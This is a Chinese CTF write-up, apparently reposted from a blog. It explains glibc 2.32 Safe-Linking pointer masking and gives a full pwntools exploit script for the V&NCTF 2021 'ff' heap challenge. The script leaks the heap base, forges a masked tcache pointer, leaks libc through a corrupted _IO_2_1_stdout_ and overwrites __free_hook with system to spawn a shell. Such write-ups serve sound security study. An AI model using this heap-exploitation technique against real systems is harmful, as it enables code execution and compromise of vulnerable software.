标签:p64 2.32 libc Safe Linking add base x00 ptr
看 glibc 2.32 源码:
/* Safe-Linking: Use randomness from ASLR (mmap_base) to protect single-linked lists of Fast-Bins and TCache. That is, mask the "next" pointers of the lists' chunks, and also perform allocation alignment checks on them. This mechanism reduces the risk of pointer hijacking, as was done with Safe-Unlinking in the double-linked lists of Small-Bins. It assumes a minimum page size of 4096 bytes (12 bits). Systems with larger pages provide less entropy, although the pointer mangling still works. */ #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
这个机制被引进到 fastbin 和 tcache 当中,将 pos >> 12 后(叫做 key),与原来的 next 进行异或,作为新的 next 值。
例题看 V&NCTF 2021 的 ff:学习了新版本加密指针,也复习了 _IO_stdout 泄露 libc
from pwn import * context.arch = 'amd64' context.log_level = 'debug' s = process('./ff') libc = ELF('./glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc-2.32.so') def add(size,content): s.sendlineafter(b'>>' , b'1') s.sendlineafter(b'Size:\n' , str(size)) s.sendafter(b'Content:\n' , content) def delete(): s.sendlineafter(b'>>' , b'2') def show(): s.sendlineafter(b'>>' , b'3') def edit(content): s.sendlineafter(b'>>' , b'5') s.sendafter(b'Content:\n' , content) add(0x58 , b'a') delete() show() heap_base = u64(s.recv(6).ljust(8 , b'\x00')) << 12 success('heap_base=>' + hex(heap_base)) edit(p64(0)*2) delete() edit(p64((heap_base + 0x10) ^ ((heap_base + 0x2a0) >> 12)) + p64(0)) add(0x58 , b'a') add(0x58 , b'\x00\x00' * 0x27 + b'\xFF\x00') delete() add(0x48 , b'\x00\x00' * 3 + b'\x01\x00' + b'\x00\x00' * 2 + b'\x01\x00') add(0x38 , b'a') add(0x18 , b'a' * 8 + b'\xc0\x06\xfc') add(0x48 , p64(0xfbad1887) + p64(0)*3 + p8(0)) libc_base = u64(s.recvuntil(b'\x7f' , timeout = 1)[-6:].ljust(8 , b'\x00')) - 132 - libc.sym['_IO_2_1_stdout_'] if(libc_base < 0): exit(0) success('libc_base=>' + hex(libc_base)) __free_hook = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] add(0x18 , p64(__free_hook - 0x10)) add(0x70 , b'/bin/sh\x00'*2 + p64(system_addr)) delete() #gdb.attach(s) s.interactive()
提取码:3y5u
参考文章:
http://blog.wjhwjhn.com/archives/186/
标签:p64,2.32,libc,Safe,Linking,add,base,x00,ptr 来源: https://www.cnblogs.com/pwnfeifei/p/15915466.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。